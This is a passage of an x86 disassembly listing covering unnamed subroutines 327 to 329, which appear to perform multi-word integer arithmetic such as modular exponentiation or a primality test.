08061c66  7e 2d                 jle     08061c95 <Unknown0327+0x189>
08061c68  8b 4b fc              mov     0xfffffffc(%ebx),%ecx
08061c6b  85 c9                 test    %ecx,%ecx
08061c6d  75 26                 jne     08061c95 <Unknown0327+0x189>
08061c6f  8d 43 fc              lea     0xfffffffc(%ebx),%eax
08061c72  89 f6                 mov     %esi,%esi
08061c74  ff 4d ac              decl    0xffffffac(%ebp)
08061c77  8b 55 ac              mov     0xffffffac(%ebp),%edx
08061c7a  83 e8 04              sub     $0x4,%eax
08061c7d  85 d2                 test    %edx,%edx
08061c7f  7e 14                 jle     08061c95 <Unknown0327+0x189>
08061c81  8b 38                 mov     (%eax),%edi
08061c83  85 ff                 test    %edi,%edi
08061c85  74 ed                 je      08061c74 <Unknown0327+0x168>
08061c87  eb 0c                 jmp     08061c95 <Unknown0327+0x189>
08061c89  8d 76 00              lea     0x0(%esi),%esi
08061c8c  8b 45 0c              mov     0xc(%ebp),%eax
08061c8f  8b 40 08              mov     0x8(%eax),%eax
08061c92  89 45 b8              mov     %eax,0xffffffb8(%ebp)
08061c95  8b 5d ac              mov     0xffffffac(%ebp),%ebx
08061c98  85 db                 test    %ebx,%ebx
08061c9a  75 10                 jne     08061cac <Unknown0327+0x1a0>
08061c9c  8b 55 08              mov     0x8(%ebp),%edx
08061c9f  c7 42 04 00 00 00 00  movl    $0x0,0x4(%edx)   ;0 'x0 x0 x0 x0' ""
08061ca6  e9 fe 03 00 00        jmp     080620a9 <Unknown0327+0x59d>  ;1022 'xfe x3 x0 x0' ""
08061cab  90                    nop
08061cac  8b 4d 08              mov     0x8(%ebp),%ecx
08061caf  8b 01                 mov     (%ecx),%eax
08061cb1  39 f0                 cmp     %esi,%eax
08061cb3  7d 5f                 jge     08061d14 <Unknown0327+0x208>
08061cb5  8b 5d c0              mov     0xffffffc0(%ebp),%ebx
08061cb8  39 5d c4              cmp     %ebx,0xffffffc4(%ebp)
08061cbb  74 10                 je      08061ccd <Unknown0327+0x1c1>
08061cbd  8b 55 bc              mov     0xffffffbc(%ebp),%edx
08061cc0  39 55 c4              cmp     %edx,0xffffffc4(%ebp)
08061cc3  74 08                 je      08061ccd <Unknown0327+0x1c1>
08061cc5  8b 4d b8              mov     0xffffffb8(%ebp),%ecx
08061cc8  39 4d c4              cmp     %ecx,0xffffffc4(%ebp)
08061ccb  75 0b                 jne     08061cd8 <Unknown0327+0x1cc>
08061ccd  8b 5d c4              mov     0xffffffc4(%ebp),%ebx
08061cd0  89 5d a0              mov     %ebx,0xffffffa0(%ebp)
08061cd3  89 45 9c              mov     %eax,0xffffff9c(%ebp)
08061cd6  eb 13                 jmp     08061ceb <Unknown0327+0x1df>
08061cd8  83 ec 08              sub     $0x8,%esp
08061cdb  c1 e0 02              shl     $0x2,%eax
08061cde  50                    push    %eax
08061cdf  ff 75 c4              pushl   0xffffffc4(%ebp)
08061ce2  ff 15 30 93 07 08     call    *0x8079330   ;[in .data] 134623192 'xd8 x2f x6 x8' ""
08061ce8  83 c4 10              add     $0x10,%esp
08061ceb  83 ec 0c              sub     $0xc,%esp
08061cee  8d 04 b5 00 00 00 00  lea     0x0(,%esi,4),%eax   ;0 'x0 x0 x0 x0' ""
08061cf5  50                    push    %eax
08061cf6  ff 15 28 93 07 08     call    *0x8079328   ;[in .data] 134623100 'x7c x2f x6 x8' "|/"
08061cfc  89 45 c4              mov     %eax,0xffffffc4(%ebp)
08061cff  8b 45 08              mov     0x8(%ebp),%eax
08061d02  89 30                 mov     %esi,(%eax)
08061d04  8b 55 c4              mov     0xffffffc4(%ebp),%edx
08061d07  89 50 08              mov     %edx,0x8(%eax)
08061d0a  83 c4 10              add     $0x10,%esp
08061d0d  e9 9c 00 00 00        jmp     08061dae <Unknown0327+0x2a2>   ;156 'x9c x0 x0 x0' ""
08061d12  89 f6                 mov     %esi,%esi
08061d14  8b 4d b8              mov     0xffffffb8(%ebp),%ecx
08061d17  39 4d c4              cmp     %ecx,0xffffffc4(%ebp)
08061d1a  75 2a                 jne     08061d46 <Unknown0327+0x23a>
08061d1c  8b 5d ac              mov     0xffffffac(%ebp),%ebx
08061d1f  8d 04 9d 0f 00 00 00  lea     0xf(,%ebx,4),%eax   ;15 'xf x0 x0 x0' ""
08061d26  83 e0 f0              and     $0xfffffff0,%eax
08061d29  29 c4                 sub     %eax,%esp
08061d2b  89 65 b8              mov     %esp,0xffffffb8(%ebp)
08061d2e  31 d2                 xor     %edx,%edx
08061d30  39 da                 cmp     %ebx,%edx
08061d32  7d 12                 jge     08061d46 <Unknown0327+0x23a>
08061d34  8b 4d c4              mov     0xffffffc4(%ebp),%ecx
08061d37  8b 04 91              mov     (%ecx,%edx,4),%eax
```

```
08061d3a    8b 5d b8                    mov     0xffffffb8(%ebp),%ebx
08061d3d    89 04 93                    mov     %eax,(%ebx,%edx,4)
08061d40    42                          inc     %edx
08061d41    3b 55 ac                    cmp     0xffffffac(%ebp),%edx
08061d44    7c ee                       jl      08061d34 <Unknown0327+0x228>
08061d46    8b 45 c0                    mov     0xffffffc0(%ebp),%eax
08061d49    39 45 c4                    cmp     %eax,0xffffffc4(%ebp)
08061d4c    75 2c                       jne     08061d7a <Unknown0327+0x26e>
08061d4e    8b 55 b4                    mov     0xffffffb4(%ebp),%edx
08061d51    8d 04 95 0f 00 00 00        lea     0xf(,%edx,4),%eax   ;15 'xf x0 x0 x0' ""
08061d58    83 e0 f0                    and     $0xfffffff0,%eax
08061d5b    29 c4                       sub     %eax,%esp
08061d5d    89 65 c0                    mov     %esp,0xffffffc0(%ebp)
08061d60    31 d2                       xor     %edx,%edx
08061d62    3b 55 b4                    cmp     0xffffffb4(%ebp),%edx
08061d65    7d 13                       jge     08061d7a <Unknown0327+0x26e>
08061d67    90                          nop
08061d68    8b 4d c4                    mov     0xffffffc4(%ebp),%ecx
08061d6b    8b 04 91                    mov     (%ecx,%edx,4),%eax
08061d6e    8b 5d c0                    mov     0xffffffc0(%ebp),%ebx
08061d71    89 04 93                    mov     %eax,(%ebx,%edx,4)
08061d74    42                          inc     %edx
08061d75    3b 55 b4                    cmp     0xffffffb4(%ebp),%edx
08061d78    7c ee                       jl      08061d68 <Unknown0327+0x25c>
08061d7a    8b 45 bc                    mov     0xffffffbc(%ebp),%eax
08061d7d    39 45 c4                    cmp     %eax,0xffffffc4(%ebp)
08061d80    75 2c                       jne     08061dae <Unknown0327+0x2a2>
08061d82    8b 55 b0                    mov     0xffffffb0(%ebp),%edx
08061d85    8d 04 95 0f 00 00 00        lea     0xf(,%edx,4),%eax   ;15 'xf x0 x0 x0' ""
08061d8c    83 e0 f0                    and     $0xfffffff0,%eax
08061d8f    29 c4                       sub     %eax,%esp
08061d91    89 65 bc                    mov     %esp,0xffffffbc(%ebp)
08061d94    31 d2                       xor     %edx,%edx
08061d96    3b 55 b0                    cmp     0xffffffb0(%ebp),%edx
08061d99    7d 13                       jge     08061dae <Unknown0327+0x2a2>
08061d9b    90                          nop
08061d9c    8b 4d c4                    mov     0xffffffc4(%ebp),%ecx
08061d9f    8b 04 91                    mov     (%ecx,%edx,4),%eax
08061da2    8b 5d bc                    mov     0xffffffbc(%ebp),%ebx
08061da5    89 04 93                    mov     %eax,(%ebx,%edx,4)
08061da8    42                          inc     %edx
08061da9    3b 55 b0                    cmp     0xffffffb0(%ebp),%edx
08061dac    7c ee                       jl      08061d9c <Unknown0327+0x290>
08061dae    31 d2                       xor     %edx,%edx
08061db0    3b 55 ac                    cmp     0xffffffac(%ebp),%edx
08061db3    7d 15                       jge     08061dca <Unknown0327+0x2be>
08061db5    8d 76 00                    lea     0x0(%esi),%esi
08061db8    8b 4d b8                    mov     0xffffffb8(%ebp),%ecx
08061dbb    8b 04 91                    mov     (%ecx,%edx,4),%eax
08061dbe    8b 5d c4                    mov     0xffffffc4(%ebp),%ebx
08061dc1    89 04 93                    mov     %eax,(%ebx,%edx,4)
08061dc4    42                          inc     %edx
08061dc5    3b 55 ac                    cmp     0xffffffac(%ebp),%edx
08061dc8    7c ee                       jl      08061db8 <Unknown0327+0x2ac>
08061dca    8b 55 b0                    mov     0xffffffb0(%ebp),%edx
08061dcd    8d 04 d5 17 00 00 00        lea     0x17(,%edx,8),%eax   ;23 'x17 x0 x0 x0' ""
08061dd4    83 e0 f0                    and     $0xfffffff0,%eax
08061dd7    c7 45 a4 00 00 00 00        movl    $0x0,0xffffffa4(%ebp)   ;0 'x0 x0 x0 x0' ""
08061dde    8b 4d c0                    mov     0xffffffc0(%ebp),%ecx
08061de1    29 c4                       sub     %eax,%esp
08061de3    f6 01 01                    testb   $0x1,(%ecx)
08061de6    8b 75 ac                    mov     0xffffffac(%ebp),%esi
08061de9    89 e7                       mov     %esp,%edi
08061deb    74 11                       je      08061dfe <Unknown0327+0x2f2>
08061ded    8b 5d 0c                    mov     0xc(%ebp),%ebx
08061df0    8b 4b 04                    mov     0x4(%ebx),%ecx
08061df3    85 c9                       test    %ecx,%ecx
08061df5    79 07                       jns     08061dfe <Unknown0327+0x2f2>
08061df7    c7 45 a4 01 00 00 00        movl    $0x1,0xffffffa4(%ebp)   ;1 'x1 x0 x0 x0' ""
08061dfe    8b 45 b4                    mov     0xffffffb4(%ebp),%eax
08061e01    48                          dec     %eax
08061e02    89 45 98                    mov     %eax,0xffffff98(%ebp)
08061e05    8b 55 c0                    mov     0xffffffc0(%ebp),%edx
08061e08    8b 04 82                    mov     (%edx,%eax,4),%eax
08061e0b    89 45 90                    mov     %eax,0xffffff90(%ebp)
08061e0e    0f bd c8                    bsr     %eax,%ecx
08061e11    83 f1 1f                    xor     $0x1f,%ecx
08061e14    d3 e0                       shl     %cl,%eax
08061e16    d1 e0                       shl     %eax
08061e18    89 45 90                    mov     %eax,0xffffff90(%ebp)
08061e1b    b8 1f 00 00 00              mov     $0x1f,%eax   ;31 'x1f x0 x0 x0' ""
08061e20    29 c8                       sub     %ecx,%eax
08061e22    89 45 94                    mov     %eax,0xffffff94(%ebp)
08061e25    8d 76 00                    lea     0x0(%esi),%esi
```

```
08061e28   8b 55 94          mov     0xffffff94(%ebp),%edx
08061e2b   85 d2             test    %edx,%edx
08061e2d   0f 84 a7 00 00 00 je      08061eda <Unknown0327+0x3ce>   ;167 'xa7 x0 x0 x0' ""
08061e33   8b 5d b0          mov     0xffffffb0(%ebp),%ebx
08061e36   c1 e3 02          shl     $0x2,%ebx
08061e39   89 5d 8c          mov     %ebx,0xffffff8c(%ebp)
08061e3c   56                push    %esi
08061e3d   ff 75 c4          pushl   0xffffffc4(%ebp)
08061e40   ff 75 c4          pushl   0xffffffc4(%ebp)
08061e43   57                push    %edi
08061e44   e8 bf 29 00 00    call    08064808 <Unknown0367>
08061e49   8d 04 36          lea     (%esi,%esi,1),%eax
08061e4c   83 c4 10          add     $0x10,%esp
08061e4f   3b 45 b0          cmp     0xffffffb0(%ebp),%eax
08061e52   7e 1f             jle     08061e73 <Unknown0327+0x367>
08061e54   83 ec 08          sub     $0x8,%esp
08061e57   ff 75 b0          pushl   0xffffffb0(%ebp)
08061e5a   ff 75 bc          pushl   0xffffffbc(%ebp)
08061e5d   50                push    %eax
08061e5e   57                push    %edi
08061e5f   8b 55 8c          mov     0xffffff8c(%ebp),%edx
08061e62   6a 00             push    $0x0
08061e64   8d 04 3a          lea     (%edx,%edi,1),%eax
08061e67   50                push    %eax
08061e68   e8 bb 12 00 00    call    08063128 <Unknown0353>
08061e6d   83 c4 20          add     $0x20,%esp
08061e70   8b 45 b0          mov     0xffffffb0(%ebp),%eax
08061e73   89 c6             mov     %eax,%esi
08061e75   8b 45 90          mov     0xffffff90(%ebp),%eax
08061e78   8b 5d c4          mov     0xffffffc4(%ebp),%ebx
08061e7b   85 c0             test    %eax,%eax
08061e7d   89 7d c4          mov     %edi,0xffffffc4(%ebp)
08061e80   89 df             mov     %ebx,%edi
08061e82   79 4a             jns     08061ece <Unknown0327+0x3c2>
08061e84   83 ec 0c          sub     $0xc,%esp
08061e87   ff 75 ac          pushl   0xffffffac(%ebp)
08061e8a   ff 75 b8          pushl   0xffffffb8(%ebp)
08061e8d   56                push    %esi
08061e8e   ff 75 c4          pushl   0xffffffc4(%ebp)
08061e91   53                push    %ebx
08061e92   e8 f1 29 00 00    call    08064888 <Unknown0368>
08061e97   8b 4d ac          mov     0xffffffac(%ebp),%ecx
08061e9a   8d 04 31          lea     (%ecx,%esi,1),%eax
08061e9d   83 c4 20          add     $0x20,%esp
08061ea0   3b 45 b0          cmp     0xffffffb0(%ebp),%eax
08061ea3   7e 1f             jle     08061ec4 <Unknown0327+0x3b8>
08061ea5   83 ec 08          sub     $0x8,%esp
08061ea8   ff 75 b0          pushl   0xffffffb0(%ebp)
08061eab   ff 75 bc          pushl   0xffffffbc(%ebp)
08061eae   50                push    %eax
08061eaf   53                push    %ebx
08061eb0   8b 55 8c          mov     0xffffff8c(%ebp),%edx
08061eb3   6a 00             push    $0x0
08061eb5   8d 04 1a          lea     (%edx,%ebx,1),%eax
08061eb8   50                push    %eax
08061eb9   e8 6a 12 00 00    call    08063128 <Unknown0353>
08061ebe   83 c4 20          add     $0x20,%esp
08061ec1   8b 45 b0          mov     0xffffffb0(%ebp),%eax
08061ec4   8b 5d c4          mov     0xffffffc4(%ebp),%ebx
08061ec7   89 c6             mov     %eax,%esi
08061ec9   89 7d c4          mov     %edi,0xffffffc4(%ebp)
08061ecc   89 df             mov     %ebx,%edi
08061ece   d1 65 90          shll    0xffffff90(%ebp)
08061ed1   ff 4d 94          decl    0xffffff94(%ebp)
08061ed4   0f 85 62 ff ff ff jne     08061e3c <Unknown0327+0x330>   ;-158 'x62 xff xff xff' "b"
08061eda   ff 4d 98          decl    0xffffff98(%ebp)
08061edd   78 19             js      08061ef8 <Unknown0327+0x3ec>
08061edf   8b 45 98          mov     0xffffff98(%ebp),%eax
08061ee2   8b 55 c0          mov     0xffffffc0(%ebp),%edx
08061ee5   8b 04 82          mov     (%edx,%eax,4),%eax
08061ee8   89 45 90          mov     %eax,0xffffff90(%ebp)
08061eeb   c7 45 94 20 00 00 00  movl $0x20,0xffffff94(%ebp)        ;32 'x20 x0 x0 x0' " "
08061ef2   e9 31 ff ff ff    jmp     08061e28 <Unknown0327+0x31c>   ;-207 'x31 xff xff xff' "1"
08061ef7   90                nop
08061ef8   8b 7d a8          mov     0xffffffa8(%ebp),%edi
08061efb   85 ff             test    %edi,%edi
08061efd   74 2d             je      08061f2c <Unknown0327+0x420>
08061eff   ff 75 a8          pushl   0xffffffa8(%ebp)
08061f02   56                push    %esi
08061f03   ff 75 c4          pushl   0xffffffc4(%ebp)
08061f06   8b 4d 08          mov     0x8(%ebp),%ecx
08061f09   ff 71 08          pushl   0x8(%ecx)
08061f0c   e8 b7 1f 00 00    call    08063ec8 <Unknown0360>
08061f11   89 c2             mov     %eax,%edx
```

```
08061f13   8b 45 08              mov      0x8(%ebp),%eax
08061f16   8b 40 08              mov      0x8(%eax),%eax
08061f19   83 c4 10              add      $0x10,%esp
08061f1c   85 d2                 test     %edx,%edx
08061f1e   89 45 c4              mov      %eax,0xffffffc4(%ebp)
08061f21   74 30                 je       08061f53 <Unknown0327+0x447>
08061f23   89 14 b0              mov      %edx,(%eax,%esi,4)
08061f26   46                    inc      %esi
08061f27   eb 2a                 jmp      08061f53 <Unknown0327+0x447>
08061f29   8d 76 00              lea      0x0(%esi),%esi
08061f2c   31 d2                 xor      %edx,%edx
08061f2e   39 75 a8              cmp      %esi,0xffffffa8(%ebp)
08061f31   7d 17                 jge      08061f4a <Unknown0327+0x43e>
08061f33   8b 5d 08              mov      0x8(%ebp),%ebx
08061f36   8b 4b 08              mov      0x8(%ebx),%ecx
08061f39   8d 76 00              lea      0x0(%esi),%esi
08061f3c   8b 5d c4              mov      0xffffffc4(%ebp),%ebx
08061f3f   8b 04 93              mov      (%ebx,%edx,4),%eax
08061f42   89 04 91              mov      %eax,(%ecx,%edx,4)
08061f45   42                    inc      %edx
08061f46   39 f2                 cmp      %esi,%edx
08061f48   7c f2                 jl       08061f3c <Unknown0327+0x430>
08061f4a   8b 45 08              mov      0x8(%ebp),%eax
08061f4d   8b 40 08              mov      0x8(%eax),%eax
08061f50   89 45 c4              mov      %eax,0xffffffc4(%ebp)
08061f53   3b 75 b0              cmp      0xffffffb0(%ebp),%esi
08061f56   7c 24                 jl       08061f7c <Unknown0327+0x470>
08061f58   83 ec 08              sub      $0x8,%esp
08061f5b   ff 75 b0              pushl    0xffffffb0(%ebp)
08061f5e   ff 75 bc              pushl    0xffffffbc(%ebp)
08061f61   56                    push     %esi
08061f62   ff 75 c4              pushl    0xffffffc4(%ebp)
08061f65   8b 55 b0              mov      0xffffffb0(%ebp),%edx
08061f68   8b 4d c4              mov      0xffffffc4(%ebp),%ecx
08061f6b   6a 00                 push     $0x0
08061f6d   8d 04 91              lea      (%ecx,%edx,4),%eax
08061f70   50                    push     %eax
08061f71   e8 b2 11 00 00        call     08063128 <Unknown0353>
08061f76   83 c4 20              add      $0x20,%esp
08061f79   8b 75 b0              mov      0xffffffb0(%ebp),%esi
08061f7c   8b 5d a8              mov      0xffffffa8(%ebp),%ebx
08061f7f   85 db                 test     %ebx,%ebx
08061f81   74 12                 je       08061f95 <Unknown0327+0x489>
08061f83   ff 75 a8              pushl    0xffffffa8(%ebp)
08061f86   56                    push     %esi
08061f87   ff 75 c4              pushl    0xffffffc4(%ebp)
08061f8a   ff 75 c4              pushl    0xffffffc4(%ebp)
08061f8d   e8 76 2b 00 00        call     08064b08 <Unknown0369>
08061f92   83 c4 10              add      $0x10,%esp
08061f95   85 f6                 test     %esi,%esi
08061f97   7e 21                 jle      08061fba <Unknown0327+0x4ae>
08061f99   8b 5d c4              mov      0xffffffc4(%ebp),%ebx
08061f9c   8d 04 b3              lea      (%ebx,%esi,4),%eax
08061f9f   8b 48 fc              mov      0xfffffffc(%eax),%ecx
08061fa2   85 c9                 test     %ecx,%ecx
08061fa4   75 14                 jne      08061fba <Unknown0327+0x4ae>
08061fa6   83 e8 04              sub      $0x4,%eax
08061fa9   8d 76 00              lea      0x0(%esi),%esi
08061fac   4e                    dec      %esi
08061fad   83 e8 04              sub      $0x4,%eax
08061fb0   85 f6                 test     %esi,%esi
08061fb2   7e 06                 jle      08061fba <Unknown0327+0x4ae>
08061fb4   8b 10                 mov      (%eax),%edx
08061fb6   85 d2                 test     %edx,%edx
08061fb8   74 f2                 je       08061fac <Unknown0327+0x4a0>
08061fba   8b 7d a4              mov      0xffffffa4(%ebp),%edi
08061fbd   85 ff                 test     %edi,%edi
08061fbf   0f 84 c1 00 00 00     je       08062086 <Unknown0327+0x57a>   ;193 'xc1 x0 x0 x0' ""
08061fc5   85 f6                 test     %esi,%esi
08061fc7   0f 84 b9 00 00 00     je       08062086 <Unknown0327+0x57a>   ;185 'xb9 x0 x0 x0' ""
08061fcd   8b 5d a8              mov      0xffffffa8(%ebp),%ebx
08061fd0   85 db                 test     %ebx,%ebx
08061fd2   74 14                 je       08061fe8 <Unknown0327+0x4dc>
08061fd4   ff 75 a8              pushl    0xffffffa8(%ebp)
08061fd7   ff 75 b0              pushl    0xffffffb0(%ebp)
08061fda   ff 75 bc              pushl    0xffffffbc(%ebp)
08061fdd   ff 75 bc              pushl    0xffffffbc(%ebp)
08061fe0   e8 23 2b 00 00        call     08064b08 <Unknown0369>
08061fe5   83 c4 10              add      $0x10,%esp
08061fe8   56                    push     %esi
08061fe9   ff 75 c4              pushl    0xffffffc4(%ebp)
08061fec   ff 75 bc              pushl    0xffffffbc(%ebp)
08061fef   ff 75 c4              pushl    0xffffffc4(%ebp)
08061ff2   e8 21 30 00 00        call     08065018 <Unknown0375>
```

```
08061ff7  83 c4 10           add      $0x10,%esp
08061ffa  39 75 b0           cmp      %esi,0xffffffb0(%ebp)
08061ffd  89 45 88           mov      %eax,0xffffff88(%ebp)
08062000  74 5d              je       0806205f <Unknown0327+0x553>
08062002  8d 04 b5 00 00 00 00  lea    0x0(,%esi,4),%eax   ;0 'x0 x0 x0 x0' ""
08062009  8b 4d bc           mov      0xffffffbc(%ebp),%ecx
0806200c  8d 1c 01           lea      (%ecx,%eax,1),%ebx
0806200f  8b 55 c4           mov      0xffffffc4(%ebp),%edx
08062012  8d 3c 02           lea      (%edx,%eax,1),%edi
08062015  8b 13              mov      (%ebx),%edx
08062017  89 d0              mov      %edx,%eax
08062019  8b 4d b0           mov      0xffffffb0(%ebp),%ecx
0806201c  2b 45 88           sub      0xffffff88(%ebp),%eax
0806201f  29 f1              sub      %esi,%ecx
08062021  83 c3 04           add      $0x4,%ebx
08062024  89 07              mov      %eax,(%edi)
08062026  83 c7 04           add      $0x4,%edi
08062029  39 d0              cmp      %edx,%eax
0806202b  76 1b              jbe      08062048 <Unknown0327+0x53c>
0806202d  49                 dec      %ecx
0806202e  74 2f              je       0806205f <Unknown0327+0x553>
08062030  8b 13              mov      (%ebx),%edx
08062032  8d 42 ff           lea      0xffffffff(%edx),%eax
08062035  83 c3 04           add      $0x4,%ebx
08062038  89 07              mov      %eax,(%edi)
0806203a  83 c7 04           add      $0x4,%edi
0806203d  85 d2              test     %edx,%edx
0806203f  75 07              jne      08062048 <Unknown0327+0x53c>
08062041  49                 dec      %ecx
08062042  75 ec              jne      08062030 <Unknown0327+0x524>
08062044  eb 19              jmp      0806205f <Unknown0327+0x553>
08062046  89 f6              mov      %esi,%esi
08062048  39 df              cmp      %ebx,%edi
0806204a  74 13              je       0806205f <Unknown0327+0x553>
0806204c  31 d2              xor      %edx,%edx
0806204e  49                 dec      %ecx
0806204f  39 ca              cmp      %ecx,%edx
08062051  7d 0c              jge      0806205f <Unknown0327+0x553>
08062053  90                 nop
08062054  8b 04 93           mov      (%ebx,%edx,4),%eax
08062057  89 04 97           mov      %eax,(%edi,%edx,4)
0806205a  42                 inc      %edx
0806205b  39 ca              cmp      %ecx,%edx
0806205d  7c f5              jl       08062054 <Unknown0327+0x548>
0806205f  8b 75 b0           mov      0xffffffb0(%ebp),%esi
08062062  85 f6              test     %esi,%esi
08062064  7e 20              jle      08062086 <Unknown0327+0x57a>
08062066  8b 5d c4           mov      0xffffffc4(%ebp),%ebx
08062069  8d 04 b3           lea      (%ebx,%esi,4),%eax
0806206c  8b 48 fc           mov      0xfffffffc(%eax),%ecx
0806206f  85 c9              test     %ecx,%ecx
08062071  75 13              jne      08062086 <Unknown0327+0x57a>
08062073  83 e8 04           sub      $0x4,%eax
08062076  89 f6              mov      %esi,%esi
08062078  4e                 dec      %esi
08062079  83 e8 04           sub      $0x4,%eax
0806207c  85 f6              test     %esi,%esi
0806207e  7e 06              jle      08062086 <Unknown0327+0x57a>
08062080  8b 10              mov      (%eax),%edx
08062082  85 d2              test     %edx,%edx
08062084  74 f2              je       08062078 <Unknown0327+0x56c>
08062086  8b 45 08           mov      0x8(%ebp),%eax
08062089  89 70 04           mov      %esi,0x4(%eax)
0806208c  8b 45 a0           mov      0xffffffa0(%ebp),%eax
0806208f  85 c0              test     %eax,%eax
08062091  74 16              je       080620a9 <Unknown0327+0x59d>
08062093  8b 45 9c           mov      0xffffff9c(%ebp),%eax
08062096  83 ec 08           sub      $0x8,%esp
08062099  c1 e0 02           shl      $0x2,%eax
0806209c  50                 push     %eax
0806209d  ff 75 a0           pushl    0xffffffa0(%ebp)
080620a0  ff 15 30 93 07 08  call     *0x8079330  ;[in .data] 134623192 'xd8 x2f x6 x8' ""
080620a6  83 c4 10           add      $0x10,%esp
080620a9  8d 65 f4           lea      0xfffffff4(%ebp),%esp
080620ac  5b                 pop      %ebx
080620ad  5e                 pop      %esi
080620ae  5f                 pop      %edi
080620af  5d                 pop      %ebp
080620b0  c3                 ret
080620b1  8d 76 00           lea      0x0(%esi),%esi
```

```
  ;
  ; >---------------------<  Subroutine # 328 >---------------------<
```

```
;
080620b4 <Unknown0328>:
080620b4   55                       push    %ebp
080620b5   89 e5                    mov     %esp,%ebp
080620b7   57                       push    %edi
080620b8   56                       push    %esi
080620b9   53                       push    %ebx
080620ba   83 ec 0c                 sub     $0xc,%esp
080620bd   8b 7d 08                 mov     0x8(%ebp),%edi
080620c0   8b 5d 10                 mov     0x10(%ebp),%ebx
080620c3   8b 75 14                 mov     0x14(%ebp),%esi
080620c6   89 f6                    mov     %esi,%esi
080620c8   83 ec 0c                 sub     $0xc,%esp
080620cb   57                       push    %edi
080620cc   e8 83 05 00 00           call    08062654 <Unknown0339>
080620d1   59                       pop     %ecx
080620d2   5a                       pop     %edx
080620d3   50                       push    %eax
080620d4   53                       push    %ebx
080620d5   e8 e6 01 00 00           call    080622c0 <Unknown0330>
080620da   83 c4 0c                 add     $0xc,%esp
080620dd   57                       push    %edi
080620de   53                       push    %ebx
080620df   53                       push    %ebx
080620e0   e8 4b eb ff ff           call    08060c30 <Unknown0314>
080620e5   58                       pop     %eax
080620e6   5a                       pop     %edx
080620e7   6a 01                    push    $0x1
080620e9   53                       push    %ebx
080620ea   e8 81 e7 ff ff           call    08060870 <Unknown0309>
080620ef   83 c4 10                 add     $0x10,%esp
080620f2   85 c0                    test    %eax,%eax
080620f4   7e d2                    jle     080620c8 <Unknown0328+0x14>
080620f6   57                       push    %edi
080620f7   ff 75 18                 pushl   0x18(%ebp)
080620fa   53                       push    %ebx
080620fb   56                       push    %esi
080620fc   e8 0b fa ff ff           call    08061b0c <Unknown0327>
08062101   59                       pop     %ecx
08062102   5b                       pop     %ebx
08062103   6a 01                    push    $0x1
08062105   56                       push    %esi
08062106   e8 65 e7 ff ff           call    08060870 <Unknown0309>
0806210b   83 c4 10                 add     $0x10,%esp
0806210e   85 c0                    test    %eax,%eax
08062110   74 13                    je      08062125 <Unknown0328+0x71>
08062112   83 ec 08                 sub     $0x8,%esp
08062115   ff 75 0c                 pushl   0xc(%ebp)
08062118   56                       push    %esi
08062119   e8 fe e6 ff ff           call    0806081c <Unknown0308>
0806211e   83 c4 10                 add     $0x10,%esp
08062121   85 c0                    test    %eax,%eax
08062123   75 07                    jne     0806212c <Unknown0328+0x78>
08062125   b8 01 00 00 00           mov     $0x1,%eax   ;l 'x1 x0 x0 x0' ""
0806212a   eb 42                    jmp     0806216e <Unknown0328+0xba>
0806212c   bb 01 00 00 00           mov     $0x1,%ebx   ;l 'x1 x0 x0 x0' ""
08062131   3b 5d 1c                 cmp     0x1c(%ebp),%ebx
08062134   73 36                    jae     0806216c <Unknown0328+0xb8>
08062136   89 f6                    mov     %esi,%esi
08062138   57                       push    %edi
08062139   6a 02                    push    $0x2
0806213b   56                       push    %esi
0806213c   56                       push    %esi
0806213d   e8 ea 2f 00 00           call    0806512c <Unknown0377>
08062142   58                       pop     %eax
08062143   5a                       pop     %edx
08062144   ff 75 0c                 pushl   0xc(%ebp)
08062147   56                       push    %esi
08062148   e8 cf e6 ff ff           call    0806081c <Unknown0308>
0806214d   83 c4 10                 add     $0x10,%esp
08062150   85 c0                    test    %eax,%eax
08062152   74 d1                    je      08062125 <Unknown0328+0x71>
08062154   83 ec 08                 sub     $0x8,%esp
08062157   6a 01                    push    $0x1
08062159   56                       push    %esi
0806215a   e8 11 e7 ff ff           call    08060870 <Unknown0309>
0806215f   83 c4 10                 add     $0x10,%esp
08062162   85 c0                    test    %eax,%eax
08062164   74 06                    je      0806216c <Unknown0328+0xb8>
08062166   43                       inc     %ebx
08062167   3b 5d 1c                 cmp     0x1c(%ebp),%ebx
0806216a   72 cc                    jb      08062138 <Unknown0328+0x84>
0806216c   31 c0                    xor     %eax,%eax
0806216e   8d 65 f4                 lea     0xfffffff4(%ebp),%esp
```

```
08062171  5b                     pop     %ebx
08062172  5e                     pop     %esi
08062173  5f                     pop     %edi
08062174  5d                     pop     %ebp
08062175  c3                     ret
08062176  89 f6                  mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine # 329 >--------------------<
  ;
08062178 <Unknown0329>:
08062178  55                     push    %ebp
08062179  89 e5                  mov     %esp,%ebp
0806217b  57                     push    %edi
0806217c  56                     push    %esi
0806217d  53                     push    %ebx
0806217e  83 ec 68               sub     $0x68,%esp
08062181  8d 75 d8               lea     0xffffffd8(%ebp),%esi
08062184  8b 5d 08               mov     0x8(%ebp),%ebx
08062187  56                     push    %esi
08062188  e8 3b f0 ff ff         call    080611c8 <Unknown0319>
0806218d  58                     pop     %eax
0806218e  5a                     pop     %edx
0806218f  53                     push    %ebx
08062190  56                     push    %esi
08062191  e8 3a 2f 00 00         call    080650d0 <Unknown0376>
08062196  5b                     pop     %ebx
08062197  5f                     pop     %edi
08062198  6a 03                  push    $0x3
0806219a  56                     push    %esi
0806219b  e8 d0 e6 ff ff         call    08060870 <Unknown0309>
080621a0  83 c4 10               add     $0x10,%esp
080621a3  85 c0                  test    %eax,%eax
080621a5  7f 25                  jg      080621cc <Unknown0329+0x54>
080621a7  83 ec 0c               sub     $0xc,%esp
080621aa  56                     push    %esi
080621ab  e8 50 e6 ff ff         call    08060800 <Unknown0307>
080621b0  5a                     pop     %edx
080621b1  59                     pop     %ecx
080621b2  6a 01                  push    $0x1
080621b4  56                     push    %esi
080621b5  e8 b6 e6 ff ff         call    08060870 <Unknown0309>
080621ba  89 c2                  mov     %eax,%edx
080621bc  83 c4 10               add     $0x10,%esp
080621bf  31 c0                  xor     %eax,%eax
080621c1  85 d2                  test    %edx,%edx
080621c3  0f 9f c0               setg    %al
080621c6  e9 eb 00 00 00         jmp     080622b6 <Unknown0329+0x13e>   ;235 'xeb x0 x0 x0' ""
080621cb  90                     nop
080621cc  83 ec 0c               sub     $0xc,%esp
080621cf  56                     push    %esi
080621d0  e8 d7 ef ff ff         call    080611ac <Unknown0318>
080621d5  83 c4 10               add     $0x10,%esp
080621d8  83 e0 01               and     $0x1,%eax
080621db  75 13                  jne     080621f0 <Unknown0329+0x78>
